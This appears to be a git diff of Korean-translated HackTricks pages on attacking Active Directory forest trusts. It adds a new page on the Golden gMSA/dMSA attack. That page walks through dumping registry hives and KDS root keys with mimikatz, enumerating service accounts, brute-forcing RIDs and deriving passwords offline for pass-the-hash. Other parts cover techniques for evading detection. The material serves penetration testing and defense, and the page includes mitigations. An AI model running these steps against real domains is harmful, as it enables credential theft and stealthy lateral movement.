|
||||
자신의 **SSP**를 생성하여 **명확한 텍스트**로 머신에 접근하는 데 사용되는 **자격 증명**을 **캡처**할 수 있습니다.
|
||||
자신의 **SSP**를 생성하여 머신에 접근하는 데 사용되는 **자격 증명**을 **명확한 텍스트**로 **캡처**할 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
custom-ssp.md
|
||||
@ -488,7 +488,7 @@ custom-ssp.md
|
||||
### DCShadow
|
||||
|
||||
AD에 **새 도메인 컨트롤러**를 등록하고 이를 사용하여 지정된 객체에 **속성**(SIDHistory, SPNs...)을 **푸시**합니다 **수정 사항에 대한** **로그**를 남기지 않고. **DA** 권한이 필요하며 **루트 도메인** 내에 있어야 합니다.\
|
||||
잘못된 데이터를 사용하면 매우 불쾌한 로그가 나타날 수 있습니다.
|
||||
잘못된 데이터를 사용하면, 매우 불쾌한 로그가 나타날 수 있습니다.
|
||||
|
||||
{{#ref}}
|
||||
dcshadow.md
|
||||
@ -509,18 +509,18 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
|
||||
|
||||
### 기본 정보
|
||||
|
||||
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 신뢰의 무결성에 중요한 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지합니다.
|
||||
[**도메인 신뢰**](<http://technet.microsoft.com/en-us/library/cc759554(v=ws.10).aspx>)는 한 **도메인**의 사용자가 다른 **도메인**의 리소스에 접근할 수 있도록 하는 보안 메커니즘입니다. 이는 본질적으로 두 도메인의 인증 시스템 간의 연결을 생성하여 인증 검증이 원활하게 흐를 수 있도록 합니다. 도메인이 신뢰를 설정하면, 그들은 신뢰의 무결성에 중요한 특정 **키**를 **도메인 컨트롤러(DC)** 내에서 교환하고 유지합니다.
|
||||
|
||||
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려면, 먼저 자신의 도메인 DC에서 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
|
||||
일반적인 시나리오에서 사용자가 **신뢰된 도메인**의 서비스에 접근하려는 경우, 먼저 자신의 도메인 DC에서 **인터-렐름 TGT**라는 특별한 티켓을 요청해야 합니다. 이 TGT는 두 도메인이 합의한 공유 **키**로 암호화됩니다. 사용자는 이 TGT를 **신뢰된 도메인의 DC**에 제시하여 서비스 티켓(**TGS**)을 받습니다. 신뢰된 도메인의 DC가 인터-렐름 TGT를 성공적으로 검증하면, TGS를 발급하여 사용자가 서비스에 접근할 수 있도록 합니다.
|
||||
|
||||
**단계**:
|
||||
|
||||
1. **도메인 1**의 **클라이언트 컴퓨터**가 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 과정이 시작됩니다.
|
||||
1. **도메인 1**의 **클라이언트 컴퓨터**가 **NTLM 해시**를 사용하여 **도메인 컨트롤러(DC1)**에서 **티켓 부여 티켓(TGT)**을 요청하는 프로세스를 시작합니다.
|
||||
2. 클라이언트가 성공적으로 인증되면 DC1이 새로운 TGT를 발급합니다.
|
||||
3. 클라이언트는 **도메인 2**의 리소스에 접근하기 위해 DC1에서 **인터-렐름 TGT**를 요청합니다.
|
||||
4. 인터-렐름 TGT는 DC1과 DC2 간의 양방향 도메인 신뢰의 일환으로 공유된 **신뢰 키**로 암호화됩니다.
|
||||
5. 클라이언트는 인터-렐름 TGT를 **도메인 2의 도메인 컨트롤러(DC2)**로 가져갑니다.
|
||||
6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하고자 하는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
|
||||
6. DC2는 공유된 신뢰 키를 사용하여 인터-렐름 TGT를 검증하고, 유효한 경우 클라이언트가 접근하려는 도메인 2의 서버에 대한 **티켓 부여 서비스(TGS)**를 발급합니다.
|
||||
7. 마지막으로 클라이언트는 이 TGS를 서버에 제시하여 도메인 2의 서비스에 접근합니다. 이 TGS는 서버의 계정 해시로 암호화되어 있습니다.
|
||||
|
||||
### 다양한 신뢰
|
||||
@ -531,22 +531,22 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
|
||||
|
||||
**다양한 신뢰 관계**
|
||||
|
||||
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **부모-자식 신뢰**: 이는 동일한 포리스트 내에서 일반적인 설정으로, 자식 도메인은 자동으로 부모 도메인과 양방향 전이 신뢰를 가집니다. 본질적으로, 이는 인증 요청이 부모와 자식 간에 원활하게 흐를 수 있음을 의미합니다.
|
||||
- **크로스 링크 신뢰**: "단축 신뢰"라고도 하며, 자식 도메인 간에 설정되어 참조 프로세스를 가속화합니다. 복잡한 포리스트에서는 인증 참조가 일반적으로 포리스트 루트로 올라갔다가 대상 도메인으로 내려가야 합니다. 크로스 링크를 생성함으로써 여정을 단축할 수 있으며, 이는 지리적으로 분산된 환경에서 특히 유용합니다.
|
||||
- **외부 신뢰**: 이는 서로 다른, 관련 없는 도메인 간에 설정되며 본질적으로 비전이적입니다. [Microsoft의 문서에 따르면](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>), 외부 신뢰는 현재 포리스트와 연결되지 않은 도메인에서 리소스에 접근하는 데 유용합니다. 보안은 외부 신뢰와 함께 SID 필터링을 통해 강화됩니다.
|
||||
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 포리스트에 새로운 도메인 트리를 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **트리 루트 신뢰**: 이러한 신뢰는 포리스트 루트 도메인과 새로 추가된 트리 루트 간에 자동으로 설정됩니다. 일반적으로 자주 발생하지 않지만, 트리 루트 신뢰는 새로운 도메인 트리를 포리스트에 추가하는 데 중요하며, 이를 통해 고유한 도메인 이름을 유지하고 양방향 전이성을 보장합니다. [Microsoft의 가이드에서 더 많은 정보를 찾을 수 있습니다](<https://technet.microsoft.com/en-us/library/cc773178(v=ws.10).aspx>).
|
||||
- **포리스트 신뢰**: 이 유형의 신뢰는 두 포리스트 루트 도메인 간의 양방향 전이 신뢰로, SID 필터링을 적용하여 보안 조치를 강화합니다.
|
||||
- **MIT 신뢰**: 이러한 신뢰는 비 Windows, [RFC4120 준수](https://tools.ietf.org/html/rfc4120) Kerberos 도메인과 설정됩니다. MIT 신뢰는 좀 더 전문화되어 있으며, Windows 생태계 외부의 Kerberos 기반 시스템과의 통합이 필요한 환경에 맞춰져 있습니다.
|
||||
|
||||
#### **신뢰 관계의 다른 차이점**
|
||||
|
||||
- 신뢰 관계는 **전이적**일 수 있습니다 (A가 B를 신뢰하고, B가 C를 신뢰하면, A는 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
|
||||
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(한쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다.
|
||||
- 신뢰 관계는 **전이적**일 수 있습니다 (A가 B를 신뢰하고, B가 C를 신뢰하면, A가 C를 신뢰함) 또는 **비전이적**일 수 있습니다.
|
||||
- 신뢰 관계는 **양방향 신뢰**(서로를 신뢰함) 또는 **일방향 신뢰**(오직 한 쪽만 다른 쪽을 신뢰함)로 설정될 수 있습니다.
|
||||
|
||||
### 공격 경로
|
||||
|
||||
1. **신뢰 관계를 열거**합니다.
|
||||
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근**할 수 있는지 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
|
||||
2. 어떤 **보안 주체**(사용자/그룹/컴퓨터)가 **다른 도메인의 리소스에 접근할 수 있는지** 확인합니다. ACE 항목이나 다른 도메인의 그룹에 속해 있을 수 있습니다. **도메인 간의 관계**를 찾아보세요 (신뢰가 이 목적을 위해 생성되었을 가능성이 높습니다).
|
||||
3. 이 경우 kerberoast가 또 다른 옵션이 될 수 있습니다.
|
||||
4. **계정을 손상시켜** 도메인 간에 **피벗**할 수 있습니다.
|
||||
|
||||
@ -558,9 +558,9 @@ Microsoft는 **포리스트**를 보안 경계로 간주합니다. 이는 **단
|
||||
|
||||
### 외부 사용자/그룹 권한 찾기
|
||||
|
||||
**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**를 확인하여 도메인 내의 외부 보안 주체를 찾을 수 있습니다. 이는 **외부 도메인/포리스트**의 사용자/그룹이 될 것입니다.
|
||||
**`CN=<user_SID>,CN=ForeignSecurityPrincipals,DC=domain,DC=com`**을 확인하여 도메인 내의 외부 보안 주체를 찾을 수 있습니다. 이는 **외부 도메인/포리스트**의 사용자/그룹이 될 것입니다.
|
||||
|
||||
이것을 **Bloodhound**에서 확인하거나 powerview를 사용하여 확인할 수 있습니다:
|
||||
이것은 **Bloodhound**에서 확인하거나 powerview를 사용하여 확인할 수 있습니다:
|
||||
```powershell
|
||||
# Get users that are i groups outside of the current domain
|
||||
Get-DomainForeignUser
|
||||
@ -612,31 +612,37 @@ sid-history-injection.md
|
||||
|
||||
#### 쓰기 가능한 Configuration NC 악용
|
||||
|
||||
Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 포리스트 전반에 걸쳐 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
|
||||
Configuration Naming Context (NC)를 악용하는 방법을 이해하는 것은 중요합니다. Configuration NC는 Active Directory (AD) 환경에서 구성 데이터의 중앙 저장소 역할을 합니다. 이 데이터는 포리스트 내의 모든 도메인 컨트롤러(DC)에 복제되며, 쓰기 가능한 DC는 Configuration NC의 쓰기 가능한 복사본을 유지합니다. 이를 악용하려면 **DC에서 SYSTEM 권한**이 필요하며, 가능하면 자식 DC에서 수행해야 합니다.
|
||||
|
||||
**루트 DC 사이트에 GPO 연결**
|
||||
|
||||
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내 모든 도메인에 가입된 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 잠재적으로 손상시킬 수 있습니다.
|
||||
Configuration NC의 Sites 컨테이너에는 AD 포리스트 내의 모든 도메인 가입 컴퓨터의 사이트에 대한 정보가 포함되어 있습니다. 모든 DC에서 SYSTEM 권한으로 작업함으로써 공격자는 GPO를 루트 DC 사이트에 연결할 수 있습니다. 이 작업은 이러한 사이트에 적용된 정책을 조작하여 루트 도메인을 손상시킬 수 있습니다.
|
||||
|
||||
자세한 정보는 [SID 필터 우회](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-4-bypass-sid-filtering-research)에 대한 연구를 탐색할 수 있습니다.
|
||||
|
||||
**포리스트 내 모든 gMSA 손상**
|
||||
**포리스트 내의 모든 gMSA 손상**
|
||||
|
||||
공격 벡터는 도메인 내 특권 gMSA를 대상으로 하는 것입니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 내 모든 gMSA의 비밀번호를 계산할 수 있습니다.
|
||||
공격 벡터는 도메인 내의 특권 gMSA를 목표로 합니다. gMSA의 비밀번호를 계산하는 데 필수적인 KDS Root 키는 Configuration NC 내에 저장됩니다. 모든 DC에서 SYSTEM 권한을 사용하면 KDS Root 키에 접근하고 포리스트 내의 모든 gMSA에 대한 비밀번호를 계산할 수 있습니다.
|
||||
|
||||
자세한 분석은 [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent)에 대한 논의에서 확인할 수 있습니다.
|
||||
자세한 분석 및 단계별 안내는 다음에서 확인할 수 있습니다:
|
||||
|
||||
{{#ref}}
|
||||
golden-dmsa-gmsa.md
|
||||
{{#endref}}
|
||||
|
||||
추가 외부 연구: [Golden gMSA Trust Attacks](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-5-golden-gmsa-trust-attack-from-child-to-parent).
|
||||
|
||||
**스키마 변경 공격**
|
||||
|
||||
이 방법은 새로운 특권 AD 객체의 생성을 기다리는 인내가 필요합니다. SYSTEM 권한을 가진 공격자는 AD 스키마를 수정하여 모든 클래스에 대해 모든 사용자에게 완전한 제어 권한을 부여할 수 있습니다. 이는 새로 생성된 AD 객체에 대한 무단 접근 및 제어로 이어질 수 있습니다.
|
||||
|
||||
추가 읽기는 [스키마 변경 신뢰 공격](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)에서 확인할 수 있습니다.
|
||||
더 많은 정보는 [스키마 변경 신뢰 공격](https://improsec.com/tech-blog/sid-filter-as-security-boundary-between-domains-part-6-schema-change-trust-attack-from-child-to-parent)을 참조하세요.
|
||||
|
||||
**ADCS ESC5를 통한 DA에서 EA로**
|
||||
|
||||
ADCS ESC5 취약점은 공인 키 인프라(PKI) 객체에 대한 제어를 목표로 하여 포리스트 내의 모든 사용자로 인증할 수 있는 인증서 템플릿을 생성합니다. PKI 객체는 Configuration NC에 위치하므로, 쓰기 가능한 자식 DC를 손상시키면 ESC5 공격을 실행할 수 있습니다.
|
||||
|
||||
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 읽을 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
|
||||
자세한 내용은 [DA에서 EA로 ESC5](https://posts.specterops.io/from-da-to-ea-with-esc5-f9f045aa105c)에서 확인할 수 있습니다. ADCS가 없는 시나리오에서는 공격자가 필요한 구성 요소를 설정할 수 있으며, 이는 [자식 도메인 관리자에서 엔터프라이즈 관리자까지 상승](https://www.pkisolutions.com/escalating-from-child-domains-admins-to-enterprise-admins-in-5-minutes-by-abusing-ad-cs-a-follow-up/)에서 논의됩니다.
|
||||
|
||||
### 외부 포리스트 도메인 - 단방향(수신) 또는 양방향
|
||||
```bash
|
||||
@ -649,7 +655,7 @@ TrustDirection : Inbound --> Inboud trust
|
||||
WhenCreated : 2/19/2021 10:50:56 PM
|
||||
WhenChanged : 2/19/2021 10:50:56 PM
|
||||
```
|
||||
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정확히 알 수 없는 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
|
||||
이 시나리오에서 **귀하의 도메인은 외부 도메인에 의해 신뢰받고 있습니다**. 이는 귀하에게 **정해지지 않은 권한**을 부여합니다. 귀하는 **귀하의 도메인에서 외부 도메인에 대해 어떤 주체가 어떤 접근 권한을 가지고 있는지** 찾아야 하며, 그 후 이를 악용하려고 시도해야 합니다:
|
||||
|
||||
{{#ref}}
|
||||
external-forest-domain-oneway-inbound.md
|
||||
@ -677,8 +683,8 @@ external-forest-domain-one-way-outbound.md
|
||||
|
||||
신뢰된 도메인을 타협하는 또 다른 방법은 도메인 신뢰의 **반대 방향**에 생성된 [**SQL 신뢰 링크**](abusing-ad-mssql.md#mssql-trusted-links)를 찾는 것입니다(이는 그리 흔하지 않습니다).
|
||||
|
||||
신뢰된 도메인을 타협하는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **희생자의 원래 도메인에 접근**할 수 있습니다.\
|
||||
게다가, 만약 **희생자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
|
||||
신뢰된 도메인을 타협하는 또 다른 방법은 **신뢰된 도메인에서 접근할 수 있는** 머신에서 대기하여 **RDP**를 통해 로그인하는 것입니다. 그런 다음 공격자는 RDP 세션 프로세스에 코드를 주입하고 **피해자의 원래 도메인에 접근**할 수 있습니다.\
|
||||
게다가, 만약 **피해자가 그의 하드 드라이브를 마운트했다면**, 공격자는 **RDP 세션** 프로세스에서 **하드 드라이브의 시작 폴더**에 **백도어**를 저장할 수 있습니다. 이 기술은 **RDPInception**이라고 불립니다.
|
||||
|
||||
{{#ref}}
|
||||
rdp-sessions-abuse.md
|
||||
@ -688,7 +694,7 @@ rdp-sessions-abuse.md
|
||||
|
||||
### **SID 필터링:**
|
||||
|
||||
- SID 역사 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
|
||||
- SID 히스토리 속성을 활용한 공격의 위험은 SID 필터링에 의해 완화되며, 이는 모든 상호 숲 신뢰에서 기본적으로 활성화되어 있습니다. 이는 Microsoft의 입장에 따라 숲을 보안 경계로 간주하고, 숲 내 신뢰가 안전하다는 가정에 기반합니다.
|
||||
- 그러나 주의할 점이 있습니다: SID 필터링은 애플리케이션과 사용자 접근을 방해할 수 있어 가끔 비활성화될 수 있습니다.
|
||||
|
||||
### **선택적 인증:**
|
||||
@ -712,24 +718,24 @@ https://cloud.hacktricks.wiki/en/pentesting-cloud/azure-security/az-lateral-move
|
||||
|
||||
- **도메인 관리자 제한**: 도메인 관리자는 도메인 컨트롤러에만 로그인할 수 있도록 권장하며, 다른 호스트에서의 사용은 피해야 합니다.
|
||||
- **서비스 계정 권한**: 보안을 유지하기 위해 서비스는 도메인 관리자(DA) 권한으로 실행되어서는 안 됩니다.
|
||||
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 달성할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
- **임시 권한 제한**: DA 권한이 필요한 작업의 경우, 그 기간을 제한해야 합니다. 이는 다음과 같이 수행할 수 있습니다: `Add-ADGroupMember -Identity ‘Domain Admins’ -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
|
||||
|
||||
### **기만 기술 구현**
|
||||
|
||||
- 기만을 구현하는 것은 함정 설정을 포함하며, 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 비밀번호와 같은 기능을 가진 유령 사용자 또는 컴퓨터를 설정하는 것입니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권한 그룹에 추가하는 것을 포함합니다.
|
||||
- 기만을 구현하는 것은 비밀번호가 만료되지 않거나 위임을 위해 신뢰된 것으로 표시된 유사 사용자 또는 컴퓨터와 같은 함정을 설정하는 것을 포함합니다. 구체적인 접근 방식은 특정 권한을 가진 사용자를 생성하거나 높은 권한 그룹에 추가하는 것입니다.
|
||||
- 실용적인 예로는 다음과 같은 도구를 사용하는 것입니다: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
|
||||
- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 찾을 수 있습니다.
|
||||
- 기만 기술 배포에 대한 더 많은 정보는 [Deploy-Deception on GitHub](https://github.com/samratashok/Deploy-Deception)에서 확인할 수 있습니다.
|
||||
|
||||
### **기만 식별**
|
||||
|
||||
- **사용자 객체의 경우**: 의심스러운 지표에는 비정상적인 ObjectSID, 드문 로그인, 생성 날짜 및 낮은 잘못된 비밀번호 수가 포함됩니다.
|
||||
- **일반 지표**: 잠재적인 유령 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
|
||||
- **일반 지표**: 잠재적인 유인 객체의 속성을 진짜 객체의 속성과 비교하면 불일치가 드러날 수 있습니다. [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster)와 같은 도구가 이러한 기만을 식별하는 데 도움을 줄 수 있습니다.
|
||||
|
||||
### **탐지 시스템 우회**
|
||||
|
||||
- **Microsoft ATA 탐지 우회**:
|
||||
- **사용자 열거**: ATA 탐지를 방지하기 위해 도메인 컨트롤러에서 세션 열거를 피합니다.
|
||||
- **티켓 가장**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않음으로써 탐지를 피할 수 있습니다.
|
||||
- **티켓 가장하기**: 티켓 생성을 위해 **aes** 키를 사용하면 NTLM으로 다운그레이드하지 않음으로써 탐지를 피할 수 있습니다.
|
||||
- **DCSync 공격**: ATA 탐지를 피하기 위해 비도메인 컨트롤러에서 실행하는 것이 권장되며, 도메인 컨트롤러에서 직접 실행하면 경고가 발생합니다.
|
||||
|
||||
## 참고 문헌
|
||||
|
||||
@ -0,0 +1,113 @@
|
||||
# Golden gMSA/dMSA Attack (Managed Service Account 비밀번호의 오프라인 파생)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## 개요
|
||||
|
||||
Windows Managed Service Accounts (MSA)는 비밀번호를 수동으로 관리할 필요 없이 서비스를 실행하도록 설계된 특별한 주체입니다.
|
||||
두 가지 주요 유형이 있습니다:
|
||||
|
||||
1. **gMSA** – 그룹 Managed Service Account – `msDS-GroupMSAMembership` 속성에 권한이 부여된 여러 호스트에서 사용할 수 있습니다.
|
||||
2. **dMSA** – 위임된 Managed Service Account – gMSA의 (미리보기) 후계자로, 동일한 암호화에 의존하지만 더 세분화된 위임 시나리오를 허용합니다.
|
||||
|
||||
두 변형 모두 **비밀번호는 각 도메인 컨트롤러(DC)에 저장되지 않습니다**. 대신 모든 DC는 다음 세 가지 입력값으로부터 현재 비밀번호를 **즉석에서 파생**할 수 있습니다:
|
||||
|
||||
* 포리스트 전체의 **KDS Root Key** (`KRBTGT\KDS`) – 무작위로 생성된 GUID 이름의 비밀로, `CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, …` 컨테이너 아래의 모든 DC에 복제됩니다.
|
||||
* 대상 계정의 **SID**.
|
||||
* `msDS-ManagedPasswordId` 속성에서 찾을 수 있는 계정별 **ManagedPasswordID** (GUID).
|
||||
|
||||
파생 과정은: `AES256_HMAC( KDSRootKey , SID || ManagedPasswordID )` → 240 바이트 블롭이 최종적으로 **base64 인코딩**되어 `msDS-ManagedPassword` 속성에 저장됩니다.
|
||||
정상적인 비밀번호 사용 중에는 Kerberos 트래픽이나 도메인 상호작용이 필요하지 않으며, 멤버 호스트는 세 가지 입력값을 알고 있는 한 로컬에서 비밀번호를 파생합니다.
|
||||
|
||||
## Golden gMSA / Golden dMSA 공격
|
||||
|
||||
공격자가 모든 세 가지 입력값을 **오프라인**으로 얻을 수 있다면, **도메인 내의 모든 gMSA/dMSA에 대한 유효한 현재 및 미래 비밀번호**를 계산할 수 있으며, 다시 DC에 접근하지 않고도 다음을 우회할 수 있습니다:
|
||||
|
||||
* Kerberos 사전 인증 / 티켓 요청 로그
|
||||
* LDAP 읽기 감사
|
||||
* 비밀번호 변경 간격 (사전 계산 가능)
|
||||
|
||||
이는 서비스 계정에 대한 *Golden Ticket*에 비유할 수 있습니다.
|
||||
|
||||
### 전제 조건
|
||||
|
||||
1. **하나의 DC** (또는 Enterprise Admin)의 **포리스트 수준 손상**. `SYSTEM` 접근 권한이면 충분합니다.
|
||||
2. 서비스 계정을 열거할 수 있는 능력 (LDAP 읽기 / RID 무차별 대입).
|
||||
3. [`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) 또는 동등한 코드를 실행할 수 있는 .NET ≥ 4.7.2 x64 워크스테이션.
|
||||
|
||||
### 1단계 – KDS Root Key 추출
|
||||
|
||||
모든 DC에서 덤프 (볼륨 섀도 복사 / 원시 SAM+SECURITY 하이브 또는 원격 비밀):
|
||||
```cmd
|
||||
reg save HKLM\SECURITY security.hive
|
||||
reg save HKLM\SYSTEM system.hive
|
||||
|
||||
# With mimikatz on the DC / offline
|
||||
mimikatz # lsadump::secrets
|
||||
mimikatz # lsadump::trust /patch # shows KDS root keys too
|
||||
```
|
||||
`RootKey` (GUID 이름)으로 레이블된 base64 문자열은 이후 단계에서 필요합니다.
|
||||
|
||||
### Phase 2 – gMSA/dMSA 객체 열거
|
||||
|
||||
최소한 `sAMAccountName`, `objectSid` 및 `msDS-ManagedPasswordId`를 검색합니다:
|
||||
```powershell
|
||||
# Authenticated or anonymous depending on ACLs
|
||||
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
|
||||
Select sAMAccountName,objectSid,msDS-ManagedPasswordId
|
||||
```
|
||||
[`GoldenDMSA`](https://github.com/Semperis/GoldenDMSA)는 헬퍼 모드를 구현합니다:
|
||||
```powershell
|
||||
# LDAP enumeration (kerberos / simple bind)
|
||||
GoldendMSA.exe info -d example.local -m ldap
|
||||
|
||||
# RID brute force if anonymous binds are blocked
|
||||
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
|
||||
```
|
||||
### Phase 3 – ManagedPasswordID 추측 / 발견 (누락된 경우)
|
||||
|
||||
일부 배포에서는 `msDS-ManagedPasswordId`를 ACL 보호 읽기에서 *제거*합니다.
|
||||
GUID가 128비트이기 때문에 단순한 무차별 대입은 불가능하지만:
|
||||
|
||||
1. 첫 번째 **32비트 = 계정 생성의 Unix epoch 시간** (분 단위 해상도).
|
||||
2. 그 뒤에 96비트의 무작위 비트가 이어집니다.
|
||||
|
||||
따라서 **계정당 좁은 단어 목록** (± 몇 시간)이 현실적입니다.
|
||||
```powershell
|
||||
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>
|
||||
```
|
||||
도구는 후보 비밀번호를 계산하고 그들의 base64 blob을 실제 `msDS-ManagedPassword` 속성과 비교합니다. 일치하면 올바른 GUID가 드러납니다.
|
||||
|
||||
### Phase 4 – 오프라인 비밀번호 계산 및 변환
|
||||
|
||||
ManagedPasswordID가 알려지면, 유효한 비밀번호는 한 명령어 거리입니다:
|
||||
```powershell
|
||||
# derive base64 password
|
||||
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID>
|
||||
|
||||
# convert to NTLM / AES keys for pass-the-hash / pass-the-ticket
|
||||
GoldendMSA.exe convert -d example.local -u svc_web$ -p <Base64Pwd>
|
||||
```
|
||||
결과 해시는 **mimikatz** (`sekurlsa::pth`) 또는 **Rubeus**를 사용하여 Kerberos 남용에 주입될 수 있으며, 이는 은밀한 **측면 이동** 및 **지속성**을 가능하게 합니다.
|
||||
|
||||
## 탐지 및 완화
|
||||
|
||||
* **DC 백업 및 레지스트리 하이브 읽기** 기능을 Tier-0 관리자에게 제한합니다.
|
||||
* DC에서 **디렉터리 서비스 복원 모드(DSRM)** 또는 **볼륨 섀도 복사** 생성을 모니터링합니다.
|
||||
* 서비스 계정의 `CN=Master Root Keys,…` 및 `userAccountControl` 플래그에 대한 읽기/변경을 감사합니다.
|
||||
* 비정상적인 **base64 비밀번호 쓰기** 또는 호스트 간의 갑작스러운 서비스 비밀번호 재사용을 감지합니다.
|
||||
* Tier-0 격리가 불가능한 경우, 고급 gMSA를 정기적인 무작위 회전이 있는 **클래식 서비스 계정**으로 변환하는 것을 고려합니다.
|
||||
|
||||
## 도구
|
||||
|
||||
* [`Semperis/GoldenDMSA`](https://github.com/Semperis/GoldenDMSA) – 이 페이지에서 사용된 참조 구현.
|
||||
* [`mimikatz`](https://github.com/gentilkiwi/mimikatz) – `lsadump::secrets`, `sekurlsa::pth`, `kerberos::ptt`.
|
